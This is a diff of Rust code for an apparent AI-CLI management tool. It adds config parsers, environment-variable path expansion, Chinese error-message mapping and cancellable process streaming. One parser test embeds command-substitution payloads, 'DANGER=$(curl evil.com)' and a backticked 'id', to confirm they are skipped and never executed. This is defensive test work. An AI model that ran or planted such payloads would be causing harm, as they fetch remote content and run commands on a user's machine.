/// 去掉前导 `export` 关键字(仅当后随空白时,避免误伤 `exported=1` 这类变量名)。
|
||||
fn strip_export(line: &str) -> &str {
|
||||
let Some(rest) = line.strip_prefix("export") else {
|
||||
return line;
|
||||
};
|
||||
if rest.is_empty() || rest.starts_with(' ') || rest.starts_with('\t') {
|
||||
rest.trim_start()
|
||||
} else {
|
||||
line
|
||||
}
|
||||
}
|
||||
|
||||
/// 合法 Bash 变量名:`[A-Za-z_][A-Za-z0-9_]*`。
|
||||
fn is_bash_var_name(s: &str) -> bool {
|
||||
let mut chars = s.chars();
|
||||
match chars.next() {
|
||||
Some(c) if c.is_ascii_alphabetic() || c == '_' => {}
|
||||
_ => return false,
|
||||
}
|
||||
chars.all(|c| c.is_ascii_alphanumeric() || c == '_')
|
||||
}
|
||||
|
||||
/// 解析赋值右侧标量:剥离成对单/双引号,其余按原样返回(不展开变量、不执行)。
|
||||
fn parse_bash_scalar(raw: &str) -> String {
|
||||
let s = raw.trim();
|
||||
if s.len() >= 2 {
|
||||
let first = s.chars().next().unwrap();
|
||||
let last = s.chars().last().unwrap();
|
||||
if (first == '"' && last == '"') || (first == '\'' && last == '\'') {
|
||||
return s[1..s.len() - 1].to_string();
|
||||
}
|
||||
}
|
||||
s.to_string()
|
||||
}
|
||||
|
||||
/// 序列化时对含空白/引号的值加双引号。
|
||||
fn quote_bash(s: &str) -> String {
|
||||
if s.chars().any(|c| c.is_whitespace()) || s.contains('\'') {
|
||||
format!("\"{s}\"")
|
||||
} else {
|
||||
s.to_string()
|
||||
}
|
||||
}
|
||||
|
||||
/// 剥离 JSONC 的 // 与 /* */ 注释(保守处理,不处理字符串内的注释序列)。
|
||||
fn strip_jsonc_comments(text: &str) -> String {
|
||||
let mut out = String::with_capacity(text.len());
|
||||
@@ -286,11 +376,76 @@ mod tests {
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn unsupported_format_is_explicit() {
|
||||
assert!(matches!(
|
||||
parse(ConfigFormat::Crushrc, "foo=bar"),
|
||||
Err(ConfigError::Unsupported(_))
|
||||
));
|
||||
fn yaml_roundtrip() {
|
||||
let text = "GOOSE_PROVIDER: anthropic\nGOOSE_MODEL: claude-sonnet-4\n";
|
||||
let v = parse(ConfigFormat::Yaml, text).unwrap();
|
||||
assert_eq!(
|
||||
get_path(&v, "GOOSE_PROVIDER").and_then(|x| x.as_str()),
|
||||
Some("anthropic")
|
||||
);
|
||||
assert_eq!(
|
||||
get_path(&v, "GOOSE_MODEL").and_then(|x| x.as_str()),
|
||||
Some("claude-sonnet-4")
|
||||
);
|
||||
let out = serialize(ConfigFormat::Yaml, &v).unwrap();
|
||||
assert!(out.contains("anthropic"));
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn yaml_parses_nested() {
|
||||
let text = "model:\n name: MiniMax-M3\n baseUrl: https://x/v1\n";
|
||||
let v = parse(ConfigFormat::Yaml, text).unwrap();
|
||||
assert_eq!(
|
||||
get_path(&v, "model.name").and_then(|x| x.as_str()),
|
||||
Some("MiniMax-M3")
|
||||
);
|
||||
assert_eq!(
|
||||
get_path(&v, "model.baseUrl").and_then(|x| x.as_str()),
|
||||
Some("https://x/v1")
|
||||
);
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn crushrc_parses_assignments_and_skips_unknown() {
|
||||
let text = "# 注释\nexport OPENAI_API_KEY=\"sk-abc\"\nANTHROPIC_API_KEY=sk-def\nsome_function() { echo hi; }\nif [ -n \"$x\" ]; then echo yes; fi\nexport MODEL=gpt-5\n";
|
||||
let v = parse(ConfigFormat::Crushrc, text).unwrap();
|
||||
assert_eq!(
|
||||
get_path(&v, "OPENAI_API_KEY").and_then(|x| x.as_str()),
|
||||
Some("sk-abc")
|
||||
);
|
||||
assert_eq!(
|
||||
get_path(&v, "ANTHROPIC_API_KEY").and_then(|x| x.as_str()),
|
||||
Some("sk-def")
|
||||
);
|
||||
assert_eq!(
|
||||
get_path(&v, "MODEL").and_then(|x| x.as_str()),
|
||||
Some("gpt-5")
|
||||
);
|
||||
// 函数定义 / if 语句不被识别为变量
|
||||
assert!(get_path(&v, "some_function").is_none());
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn crushrc_skips_dangerous_substitution() {
|
||||
// 命令替换 / 反引号赋值必须被跳过,绝不解析或执行
|
||||
let text = "export SAFE=ok\nDANGER=$(curl evil.com)\nDANGER2=`id`\n";
|
||||
let v = parse(ConfigFormat::Crushrc, text).unwrap();
|
||||
assert_eq!(get_path(&v, "SAFE").and_then(|x| x.as_str()), Some("ok"));
|
||||
assert!(get_path(&v, "DANGER").is_none());
|
||||
assert!(get_path(&v, "DANGER2").is_none());
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn crushrc_serialize_roundtrip() {
|
||||
let v = json!({ "OPENAI_API_KEY": "sk-abc", "MODEL": "gpt-5" });
|
||||
let out = serialize(ConfigFormat::Crushrc, &v).unwrap();
|
||||
assert!(out.contains("export OPENAI_API_KEY=sk-abc"));
|
||||
assert!(out.contains("export MODEL=gpt-5"));
|
||||
let back = parse(ConfigFormat::Crushrc, &out).unwrap();
|
||||
assert_eq!(
|
||||
get_path(&back, "OPENAI_API_KEY").and_then(|x| x.as_str()),
|
||||
Some("sk-abc")
|
||||
);
|
||||
}
|
||||
|
||||
#[test]
|
||||
|
||||
@@ -14,9 +14,10 @@ pub use error::ConfigError;
|
||||
use std::path::PathBuf;
|
||||
|
||||
/// 解析适配器声明的配置文件路径:展开 `~`(用户主目录),
|
||||
/// 以及平台变量(Windows `%VAR%` / `${VAR}`,如 `%APPDATA%`)。
|
||||
/// 并把 Windows 路径分隔符统一处理(YAML 里写的是 `~/.codex/...`)。
|
||||
pub fn resolve_path(raw: &str) -> PathBuf {
|
||||
let expanded = expand_home(raw);
|
||||
let expanded = expand_env_vars(&expand_home(raw));
|
||||
PathBuf::from(expanded)
|
||||
}
|
||||
|
||||
@@ -34,6 +35,65 @@ pub fn expand_home(raw: &str) -> String {
|
||||
raw.to_string()
|
||||
}
|
||||
|
||||
/// 展开平台环境变量:`%VAR%`(Windows)与 `${VAR}`。
|
||||
/// 未定义或非法变量名保持原样,不做静默吞并。
|
||||
pub fn expand_env_vars(raw: &str) -> String {
|
||||
// 先用 ${VAR} 处理(避免与 %VAR% 互相干扰)
|
||||
let mut out = String::with_capacity(raw.len());
|
||||
let bytes: Vec<char> = raw.chars().collect();
|
||||
let mut i = 0;
|
||||
while i < bytes.len() {
|
||||
if bytes[i] == '%' {
|
||||
if let Some((name, end)) = take_until(&bytes, i + 1, '%') {
|
||||
if is_valid_var_name(&name) {
|
||||
if let Ok(v) = std::env::var(&name) {
|
||||
out.push_str(&v);
|
||||
i = end + 1;
|
||||
continue;
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
if bytes[i] == '$' && i + 1 < bytes.len() && bytes[i + 1] == '{' {
|
||||
if let Some((name, end)) = take_until(&bytes, i + 2, '}') {
|
||||
if is_valid_var_name(&name) {
|
||||
if let Ok(v) = std::env::var(&name) {
|
||||
out.push_str(&v);
|
||||
i = end + 1;
|
||||
continue;
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
out.push(bytes[i]);
|
||||
i += 1;
|
||||
}
|
||||
out
|
||||
}
|
||||
|
||||
/// 从 `from` 开始找 `close`,返回 (变量名, close 下标)。找不到返回 None。
|
||||
fn take_until(chars: &[char], from: usize, close: char) -> Option<(String, usize)> {
|
||||
let mut end = from;
|
||||
while end < chars.len() {
|
||||
if chars[end] == close {
|
||||
let name: String = chars[from..end].iter().collect();
|
||||
return Some((name, end));
|
||||
}
|
||||
end += 1;
|
||||
}
|
||||
None
|
||||
}
|
||||
|
||||
/// 环境变量名合法性:`[A-Za-z_][A-Za-z0-9_]*`(与常见 shell/OS 约定一致)。
|
||||
fn is_valid_var_name(name: &str) -> bool {
|
||||
let mut chars = name.chars();
|
||||
match chars.next() {
|
||||
Some(c) if c.is_ascii_alphabetic() || c == '_' => {}
|
||||
_ => return false,
|
||||
}
|
||||
chars.all(|c| c.is_ascii_alphanumeric() || c == '_')
|
||||
}
|
||||
|
||||
/// 用户主目录(含路径分隔符兜底)。
|
||||
pub fn home_dir() -> String {
|
||||
#[cfg(windows)]
|
||||
@@ -63,4 +123,20 @@ mod tests {
|
||||
fn plain_path_unchanged() {
|
||||
assert_eq!(expand_home("/etc/codex/config.toml"), "/etc/codex/config.toml");
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn expand_env_vars_windows_and_braces() {
|
||||
std::env::set_var("AGENTDOCK_TEST_VAR", "C:\\Users\\Test");
|
||||
assert_eq!(
|
||||
expand_env_vars("%AGENTDOCK_TEST_VAR%\\block\\goose"),
|
||||
"C:\\Users\\Test\\block\\goose"
|
||||
);
|
||||
assert_eq!(
|
||||
expand_env_vars("${AGENTDOCK_TEST_VAR}/x"),
|
||||
"C:\\Users\\Test/x"
|
||||
);
|
||||
// 未定义变量保持原样
|
||||
assert_eq!(expand_env_vars("%AGENTDOCK_NOT_SET_VAR%\\x"), "%AGENTDOCK_NOT_SET_VAR%\\x");
|
||||
std::env::remove_var("AGENTDOCK_TEST_VAR");
|
||||
}
|
||||
}
|
||||
|
||||
+1374
-67
File diff suppressed because it is too large
Load Diff
@@ -0,0 +1,176 @@
|
||||
//! 执行失败的错误人话化映射(Wave 2.2 Req 1)
|
||||
//!
|
||||
//! 把「program not found / 网络超时 / 权限不足 / 磁盘不足」等原始错误
|
||||
//! 映射为中文建议 + 结构化 code + 可直达安装的缺失运行时 id。
|
||||
//! 原始报错保留在 `raw`(界面折叠展示),`friendly_zh` 默认展示。
|
||||
|
||||
use std::io::ErrorKind;
|
||||
|
||||
use crate::types::ErrorHint;
|
||||
|
||||
/// 由可执行文件名反推对应的运行时 id(用于「未找到 npm → 去装 Node.js」联动)。
|
||||
pub fn runtime_for_prog(prog: &str) -> Option<&'static str> {
|
||||
match prog.to_ascii_lowercase().as_str() {
|
||||
"npm" | "node" | "node.exe" => Some("node"),
|
||||
"python" | "python3" | "py" | "pip" => Some("python"),
|
||||
"git" => Some("git"),
|
||||
"winget" => Some("winget"),
|
||||
"uv" => Some("uv"),
|
||||
"choco" => Some("choco"),
|
||||
"scoop" => Some("scoop"),
|
||||
_ => None,
|
||||
}
|
||||
}
|
||||
|
||||
/// 运行时 id → 中文显示名(与前端 RuntimeInstallModal 的 RUNTIME_LABELS 对齐)。
|
||||
/// 「node」统一显示为「Node.js」,避免人话提示里出现 id 与按钮文案不一致。
|
||||
pub fn runtime_label_zh(id: &str) -> &'static str {
|
||||
match id {
|
||||
"node" => "Node.js",
|
||||
"npm" => "npm",
|
||||
"python" => "Python",
|
||||
"git" => "Git",
|
||||
"winget" => "winget",
|
||||
"uv" => "uv",
|
||||
"apt" => "apt",
|
||||
"choco" => "choco",
|
||||
"scoop" => "scoop",
|
||||
_ => "运行时",
|
||||
}
|
||||
}
|
||||
|
||||
/// 主入口:结合 spawn 错误与 stderr 尾部文本,产出结构化错误提示。
|
||||
/// `spawn_err` 为 `Command::spawn` 的 io::Error(None 表示进程已启动但退出非 0)。
|
||||
pub fn map_exec_error(prog: &str, spawn_err: Option<&std::io::Error>, stderr_tail: &str) -> ErrorHint {
|
||||
let raw = spawn_err.map(|e| e.to_string()).unwrap_or_default();
|
||||
|
||||
// 1. 命令不存在(最常见:未安装 / 不在 PATH)
|
||||
if let Some(e) = spawn_err {
|
||||
match e.kind() {
|
||||
ErrorKind::NotFound => {
|
||||
let missing = runtime_for_prog(prog);
|
||||
let friendly = match missing {
|
||||
Some(r) => format!("未找到 {prog} 命令:需要先安装 {}(可在下方「本机环境」区一键安装)", runtime_label_zh(r)),
|
||||
None => format!("未找到 {prog} 命令:请确认 {prog} 已安装并加入 PATH"),
|
||||
};
|
||||
return ErrorHint {
|
||||
code: "program_not_found".into(),
|
||||
friendly_zh: friendly,
|
||||
raw,
|
||||
missing_runtime: missing.map(|s| s.to_string()),
|
||||
};
|
||||
}
|
||||
ErrorKind::PermissionDenied => {
|
||||
return ErrorHint {
|
||||
code: "permission_denied".into(),
|
||||
friendly_zh: "权限不足:需要管理员权限,或目标目录不可写。".into(),
|
||||
raw,
|
||||
missing_runtime: None,
|
||||
};
|
||||
}
|
||||
_ => {}
|
||||
}
|
||||
}
|
||||
|
||||
// 2. 网络 / 磁盘等常见错误(从 stderr 尾部判断)
|
||||
let lower = stderr_tail.to_lowercase();
|
||||
let network_pats: &[(&str, &str, &str)] = &[
|
||||
("timed out", "network_timeout", "网络连接超时:请检查网络或代理设置后重试。"),
|
||||
("etimedout", "network_timeout", "网络连接超时:请检查网络或代理设置后重试。"),
|
||||
("econnrefused", "network_timeout", "连接被拒绝:目标服务不可达,请稍后重试。"),
|
||||
("getaddrinfo", "network_dns", "域名解析失败:请检查网络与 DNS 设置。"),
|
||||
("enotfound", "network_dns", "域名解析失败:请检查网络与 DNS 设置。"),
|
||||
("certificate", "network_tls", "证书校验失败:网络可能被代理/防火墙干扰。"),
|
||||
("enospc", "disk_full", "磁盘空间不足:请清理磁盘后重试。"),
|
||||
("no space left", "disk_full", "磁盘空间不足:请清理磁盘后重试。"),
|
||||
("eacces", "permission_denied", "权限不足:需要管理员权限,或目标目录不可写。"),
|
||||
("eperm", "permission_denied", "权限不足:需要管理员权限,或目标目录不可写。"),
|
||||
];
|
||||
for (pat, code, msg) in network_pats {
|
||||
if lower.contains(pat) {
|
||||
return ErrorHint {
|
||||
code: (*code).into(),
|
||||
friendly_zh: (*msg).into(),
|
||||
raw: raw.clone(),
|
||||
missing_runtime: None,
|
||||
};
|
||||
}
|
||||
}
|
||||
|
||||
// 3. 兜底:通用失败
|
||||
ErrorHint {
|
||||
code: "exec_failed".into(),
|
||||
friendly_zh: "命令执行失败,详见上方原始输出。".into(),
|
||||
raw: if raw.is_empty() { stderr_tail.to_string() } else { raw },
|
||||
missing_runtime: None,
|
||||
}
|
||||
}
|
||||
|
||||
#[cfg(test)]
|
||||
mod tests {
|
||||
use super::*;
|
||||
|
||||
fn not_found() -> std::io::Error {
|
||||
std::io::Error::new(ErrorKind::NotFound, "program not found")
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn maps_program_not_found_to_node_for_npm() {
|
||||
let h = map_exec_error("npm", Some(¬_found()), "");
|
||||
assert_eq!(h.code, "program_not_found");
|
||||
assert_eq!(h.missing_runtime.as_deref(), Some("node"));
|
||||
// 文案统一为「Node.js」(与按钮/运行时中文名一致,而非裸 id「node」)
|
||||
assert!(h.friendly_zh.contains("Node.js"), "人话提示应显示 Node.js:{}", h.friendly_zh);
|
||||
assert!(!h.friendly_zh.contains("安装 node"), "不应出现裸 id「node」:{}", h.friendly_zh);
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn runtime_label_zh_maps_node() {
|
||||
assert_eq!(runtime_label_zh("node"), "Node.js");
|
||||
assert_eq!(runtime_label_zh("python"), "Python");
|
||||
assert_eq!(runtime_label_zh("git"), "Git");
|
||||
assert_eq!(runtime_label_zh("winget"), "winget");
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn maps_program_not_found_for_plain_cli() {
|
||||
let h = map_exec_error("gemini", Some(¬_found()), "");
|
||||
assert_eq!(h.code, "program_not_found");
|
||||
assert_eq!(h.missing_runtime, None);
|
||||
assert!(h.friendly_zh.contains("gemini"));
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn maps_permission_denied() {
|
||||
let e = std::io::Error::new(ErrorKind::PermissionDenied, "access denied");
|
||||
let h = map_exec_error("npm", Some(&e), "");
|
||||
assert_eq!(h.code, "permission_denied");
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn maps_network_timeout_from_stderr() {
|
||||
let h = map_exec_error("npm", None, "npm ERR! code ETIMEDOUT");
|
||||
assert_eq!(h.code, "network_timeout");
|
||||
assert!(h.friendly_zh.contains("网络"));
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn maps_disk_full_from_stderr() {
|
||||
let h = map_exec_error("npm", None, "ENOSPC: no space left on device");
|
||||
assert_eq!(h.code, "disk_full");
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn fallback_is_generic() {
|
||||
let h = map_exec_error("npm", None, "something weird happened");
|
||||
assert_eq!(h.code, "exec_failed");
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn runtime_lookup() {
|
||||
assert_eq!(runtime_for_prog("npm"), Some("node"));
|
||||
assert_eq!(runtime_for_prog("python"), Some("python"));
|
||||
assert_eq!(runtime_for_prog("git"), Some("git"));
|
||||
assert_eq!(runtime_for_prog("opencode"), None);
|
||||
}
|
||||
}
|
||||
@@ -6,12 +6,24 @@
|
||||
|
||||
pub mod engine;
|
||||
pub mod error;
|
||||
pub mod errors_zh;
|
||||
pub mod process;
|
||||
pub mod runtime_install;
|
||||
pub mod types;
|
||||
|
||||
pub use engine::{ActionOpts, Engine, auth_status, authorize, detect_one, diagnose, parse_version, read_config, run_action, write_config};
|
||||
pub use engine::{
|
||||
ActionOpts, Engine, auth_mode_label_zh, auth_status, detect_one, diagnose, parse_device_code,
|
||||
parse_version, read_config, run_action, strip_ansi, verify_config, write_config,
|
||||
};
|
||||
pub use error::EngineError;
|
||||
pub use errors_zh::{map_exec_error, runtime_for_prog, runtime_label_zh};
|
||||
pub use process::{open_with_shell, resolve_exe, run_capture, run_streaming, run_terminal, run_with_stdin, which_all, RunningProcess};
|
||||
pub use runtime_install::{
|
||||
download_with_curl, fetch_http_text, is_url_host_allowed, source_for, supported_runtimes,
|
||||
RuntimeSource,
|
||||
};
|
||||
pub use types::{
|
||||
ActionEvent, AuthStatus, ConfigFieldState, ConfigFileState, ConfigFormState, DetectResult,
|
||||
EnvFieldState, WriteResult, now_secs,
|
||||
ActionEvent, AuthFlowEvent, AuthStatus, AuthModeInfo, ConfigFieldState, ConfigFileState, ConfigFormState,
|
||||
ConnectionTestResult, DetectResult, EnvFieldState, ErrorHint, ModelInfo, ModelListResult,
|
||||
SystemEnvFinding, SystemEnvReport, UpdateCheckResult, WriteResult, ConfigVerifyResult, now_secs,
|
||||
};
|
||||
|
||||
@@ -2,10 +2,16 @@
|
||||
//!
|
||||
//! 所有命令经 `agentdock-exec::validate_argv` 校验后执行,禁止 shell 拼接。
|
||||
//! 探测类命令(`--version`)隐藏控制台窗口(Windows CREATE_NO_WINDOW)。
|
||||
//! 流式执行(`run_streaming` / `run_streaming_cancellable`)用两条读取线程
|
||||
//! **并发**消费 stdout 与 stderr,再经 mpsc 通道按到达顺序回调——保证实时滚动,
|
||||
//! 避免「先读 stdout 再读 stderr」造成的 stderr 延迟到进程结束时才出现的旧行为。
|
||||
|
||||
use std::io::BufRead;
|
||||
use std::io::Write;
|
||||
use std::path::{Path, PathBuf};
|
||||
use std::process::{Command, Stdio};
|
||||
use std::process::{Child, Command, Stdio};
|
||||
use std::sync::atomic::{AtomicBool, Ordering};
|
||||
use std::sync::{Arc, Mutex, mpsc};
|
||||
|
||||
/// 按平台分隔符拆分 PATH。
|
||||
fn path_entries() -> Vec<String> {
|
||||
@@ -37,6 +43,14 @@ pub fn which_all(program: &str) -> Vec<PathBuf> {
|
||||
found
|
||||
}
|
||||
|
||||
/// 在 PATH 中解析可执行文件为可运行路径(找不到时回退原 prog,让 spawn 报错)。
|
||||
pub fn resolve_exe(program: &str) -> String {
|
||||
which_all(program)
|
||||
.first()
|
||||
.map(|p| p.to_string_lossy().to_string())
|
||||
.unwrap_or_else(|| program.to_string())
|
||||
}
|
||||
|
||||
/// 运行只读探测命令并返回 (exit_ok, stdout+stderr 合并文本)。
|
||||
pub fn run_capture(exe: &Path, args: &[String]) -> std::io::Result<(bool, String)> {
|
||||
let mut cmd = Command::new(exe);
|
||||
@@ -54,9 +68,84 @@ pub fn run_capture(exe: &Path, args: &[String]) -> std::io::Result<(bool, String
|
||||
Ok((out.status.success(), text))
|
||||
}
|
||||
|
||||
/// 流式执行命令,逐行回调(stdout 与 stderr 均按行输出)。返回是否成功。
|
||||
/// 顺序读:先 stdout 后 stderr;对长任务足够,且实现简单可靠、无闭包 Send 负担。
|
||||
pub fn run_streaming<F>(exe: &str, args: &[String], mut on_line: F) -> std::io::Result<bool>
|
||||
/// 运行命令并把一段文本写入其 stdin(API Key 经 stdin 注入官方登录命令用),
|
||||
/// 返回 (exit_ok, stdout+stderr 合并文本)。输入内容绝不明文落日志。
|
||||
pub fn run_with_stdin(exe: &Path, args: &[String], stdin_text: &str) -> std::io::Result<(bool, String)> {
|
||||
let mut cmd = Command::new(exe);
|
||||
cmd.args(args);
|
||||
cmd.stdin(Stdio::piped());
|
||||
cmd.stdout(Stdio::piped());
|
||||
cmd.stderr(Stdio::piped());
|
||||
#[cfg(windows)]
|
||||
{
|
||||
use std::os::windows::process::CommandExt;
|
||||
cmd.creation_flags(0x0800_0000); // CREATE_NO_WINDOW
|
||||
}
|
||||
let mut child = cmd.spawn()?;
|
||||
if let Some(mut stdin) = child.stdin.take() {
|
||||
let _ = stdin.write_all(stdin_text.as_bytes());
|
||||
// 关闭 stdin,通知子进程输入结束
|
||||
}
|
||||
let out = child.wait_with_output()?;
|
||||
let mut text = String::from_utf8_lossy(&out.stdout).to_string();
|
||||
if text.trim().is_empty() {
|
||||
text = String::from_utf8_lossy(&out.stderr).to_string();
|
||||
}
|
||||
Ok((out.status.success(), text))
|
||||
}
|
||||
|
||||
/// 可取消的进程句柄:`cancel` 置位后流式读取循环会终止子进程;
|
||||
/// 授权等交互式流程需要取消时调用 `request_cancel`。
|
||||
#[derive(Default)]
|
||||
pub struct RunningProcess {
|
||||
cancel: Arc<AtomicBool>,
|
||||
child: Arc<Mutex<Option<Child>>>,
|
||||
}
|
||||
|
||||
impl RunningProcess {
|
||||
pub fn new() -> Self {
|
||||
RunningProcess::default()
|
||||
}
|
||||
|
||||
/// 请求取消(安全幂等)。
|
||||
pub fn request_cancel(&self) {
|
||||
self.cancel.store(true, Ordering::SeqCst);
|
||||
}
|
||||
|
||||
/// 取取消标志的共享句柄(供其它线程定时/条件取消)。
|
||||
pub fn cancel_flag(&self) -> Arc<AtomicBool> {
|
||||
self.cancel.clone()
|
||||
}
|
||||
|
||||
pub fn is_cancelled(&self) -> bool {
|
||||
self.cancel.load(Ordering::SeqCst)
|
||||
}
|
||||
|
||||
fn kill(&self) {
|
||||
if let Some(mut child) = self.child.lock().unwrap().take() {
|
||||
kill_child_tree(&mut child);
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
/// 流式执行命令,逐行回调(stdout 与 stderr 并发、按到达顺序实时输出)。
|
||||
/// 返回是否成功。
|
||||
pub fn run_streaming<F>(exe: &str, args: &[String], on_line: F) -> std::io::Result<bool>
|
||||
where
|
||||
F: FnMut(bool, &str),
|
||||
{
|
||||
let rp = RunningProcess::new();
|
||||
run_streaming_cancellable(&rp, exe, args, on_line)
|
||||
}
|
||||
|
||||
/// 可取消的流式执行:stdout/stderr 并发读取,主线程按行回调;
|
||||
/// 取消置位时终止子进程并结束。
|
||||
pub fn run_streaming_cancellable<F>(
|
||||
rp: &RunningProcess,
|
||||
exe: &str,
|
||||
args: &[String],
|
||||
mut on_line: F,
|
||||
) -> std::io::Result<bool>
|
||||
where
|
||||
F: FnMut(bool, &str),
|
||||
{
|
||||
@@ -71,19 +160,170 @@ where
|
||||
}
|
||||
let mut child = cmd.spawn()?;
|
||||
|
||||
if let Some(stdout) = child.stdout.take() {
|
||||
let reader = std::io::BufReader::new(stdout);
|
||||
for line in reader.lines().map_while(Result::ok) {
|
||||
on_line(false, &line);
|
||||
}
|
||||
let stdout = child.stdout.take();
|
||||
let stderr = child.stderr.take();
|
||||
*rp.child.lock().unwrap() = Some(child);
|
||||
|
||||
let (tx, rx) = mpsc::channel::<(bool, String)>();
|
||||
|
||||
// stdout 读取线程
|
||||
if let Some(out) = stdout {
|
||||
let tx = tx.clone();
|
||||
std::thread::spawn(move || {
|
||||
let reader = std::io::BufReader::new(out);
|
||||
for line in reader.lines().map_while(Result::ok) {
|
||||
if tx.send((false, line)).is_err() {
|
||||
break;
|
||||
}
|
||||
}
|
||||
});
|
||||
}
|
||||
if let Some(stderr) = child.stderr.take() {
|
||||
let reader = std::io::BufReader::new(stderr);
|
||||
for line in reader.lines().map_while(Result::ok) {
|
||||
on_line(true, &line);
|
||||
// stderr 读取线程
|
||||
if let Some(err) = stderr {
|
||||
let tx = tx.clone();
|
||||
std::thread::spawn(move || {
|
||||
let reader = std::io::BufReader::new(err);
|
||||
for line in reader.lines().map_while(Result::ok) {
|
||||
if tx.send((true, line)).is_err() {
|
||||
break;
|
||||
}
|
||||
}
|
||||
});
|
||||
}
|
||||
drop(tx); // 主线程持有的发送端关闭,两线程结束后通道自然关闭
|
||||
|
||||
// 主线程按到达顺序实时回调(recv_timeout 兜底:静默期也能响应取消)
|
||||
loop {
|
||||
match rx.recv_timeout(std::time::Duration::from_millis(200)) {
|
||||
Ok((is_err, line)) => {
|
||||
on_line(is_err, &line);
|
||||
if rp.is_cancelled() {
|
||||
rp.kill();
|
||||
break;
|
||||
}
|
||||
}
|
||||
Err(mpsc::RecvTimeoutError::Timeout) => {
|
||||
if rp.is_cancelled() {
|
||||
rp.kill();
|
||||
break;
|
||||
}
|
||||
}
|
||||
Err(mpsc::RecvTimeoutError::Disconnected) => break,
|
||||
}
|
||||
}
|
||||
|
||||
let status = child.wait()?;
|
||||
// 等待子进程退出并取状态
|
||||
let status = rp
|
||||
.child
|
||||
.lock()
|
||||
.unwrap()
|
||||
.take()
|
||||
.and_then(|mut c| c.wait().ok())
|
||||
.map(|s| s.success())
|
||||
.unwrap_or(false);
|
||||
Ok(status)
|
||||
}
|
||||
|
||||
/// 终止子进程(Windows 用 taskkill /T 杀掉整棵进程树,避免 .cmd 包装的 node 等子进程变孤儿)。
|
||||
fn kill_child_tree(child: &mut Child) {
|
||||
#[cfg(windows)]
|
||||
{
|
||||
use std::os::windows::process::CommandExt;
|
||||
let pid = child.id();
|
||||
let _ = Command::new("taskkill")
|
||||
.args(["/PID", &pid.to_string(), "/T", "/F"])
|
||||
.creation_flags(0x0800_0000)
|
||||
.status();
|
||||
let _ = child.kill();
|
||||
let _ = child.wait();
|
||||
}
|
||||
#[cfg(not(windows))]
|
||||
{
|
||||
let _ = child.kill();
|
||||
let _ = child.wait();
|
||||
}
|
||||
}
|
||||
|
||||
/// 在**独立控制台窗口**中运行命令(一次性本机终端,PRD FR-06 设计),
|
||||
/// 结束后窗口自动关闭。仅回传退出成功与否,不回传输出。
|
||||
/// 用于必须在终端里交互的登录流程(local_tui 等)。
|
||||
#[cfg(windows)]
|
||||
pub fn run_terminal(exe: &str, args: &[String]) -> std::io::Result<bool> {
|
||||
use std::os::windows::process::CommandExt;
|
||||
let mut cmd = Command::new(exe);
|
||||
cmd.args(args);
|
||||
cmd.creation_flags(0x0000_0010); // CREATE_NEW_CONSOLE
|
||||
let status = cmd.status()?;
|
||||
Ok(status.success())
|
||||
}
|
||||
|
||||
/// 非 Windows 平台:终端窗口回退为普通前台执行。
|
||||
#[cfg(not(windows))]
|
||||
pub fn run_terminal(exe: &str, args: &[String]) -> std::io::Result<bool> {
|
||||
let status = Command::new(exe).args(args).status()?;
|
||||
Ok(status.success())
|
||||
}
|
||||
|
||||
/// 打开本机默认程序/浏览器(文件用默认处理器打开、URL 用默认浏览器打开)。
|
||||
/// 仅接受已通过来源白名单校验的目标,不做 shell 拼接。
|
||||
#[cfg(windows)]
|
||||
pub fn open_with_shell(target: &str) -> std::io::Result<()> {
|
||||
// explorer.exe 同时能打开文件(默认处理器)与 URL(默认浏览器)
|
||||
let status = Command::new("explorer.exe").arg(target).status()?;
|
||||
if status.success() {
|
||||
Ok(())
|
||||
} else {
|
||||
Err(std::io::Error::new(
|
||||
std::io::ErrorKind::Other,
|
||||
"explorer 打开目标失败",
|
||||
))
|
||||
}
|
||||
}
|
||||
|
||||
#[cfg(not(windows))]
|
||||
pub fn open_with_shell(target: &str) -> std::io::Result<()> {
|
||||
let status = Command::new("xdg-open").arg(target).status()?;
|
||||
if status.success() {
|
||||
Ok(())
|
||||
} else {
|
||||
Err(std::io::Error::new(std::io::ErrorKind::Other, "xdg-open 打开目标失败"))
|
||||
}
|
||||
}
|
||||
|
||||
#[cfg(test)]
|
||||
mod tests {
|
||||
use super::*;
|
||||
|
||||
#[test]
|
||||
fn run_streaming_reports_stdout_in_order() {
|
||||
// 用 echo 输出多行,验证 stdout 被逐行实时捕获
|
||||
#[cfg(windows)]
|
||||
let (exe, args) = (
|
||||
"cmd.exe".to_string(),
|
||||
vec!["/C".to_string(), "echo line1 & echo line2 & echo line3".to_string()],
|
||||
);
|
||||
#[cfg(not(windows))]
|
||||
let (exe, args) = ("sh".to_string(), vec!["-c".to_string(), "echo line1; echo line2; echo line3".to_string()]);
|
||||
|
||||
let mut lines = Vec::new();
|
||||
let ok = run_streaming(&exe, &args, |is_err, l| {
|
||||
if !is_err {
|
||||
lines.push(l.to_string());
|
||||
}
|
||||
})
|
||||
.unwrap();
|
||||
assert!(ok);
|
||||
assert!(lines.iter().any(|l| l.contains("line1")));
|
||||
assert!(lines.iter().any(|l| l.contains("line3")));
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn running_process_cancel_is_idempotent() {
|
||||
let rp = RunningProcess::new();
|
||||
assert!(!rp.is_cancelled());
|
||||
rp.request_cancel();
|
||||
assert!(rp.is_cancelled());
|
||||
rp.request_cancel();
|
||||
assert!(rp.is_cancelled());
|
||||
}
|
||||
}
|
||||
|
||||
@@ -0,0 +1,230 @@
|
||||
//! 本机环境运行时的一键安装来源表(Wave 2.2 Req 3)
|
||||
//!
|
||||
//! 仅收录官方渠道,所有下载 URL 都经 `allowed_hosts` 白名单校验(架构 §3.1 安全红线)。
|
||||
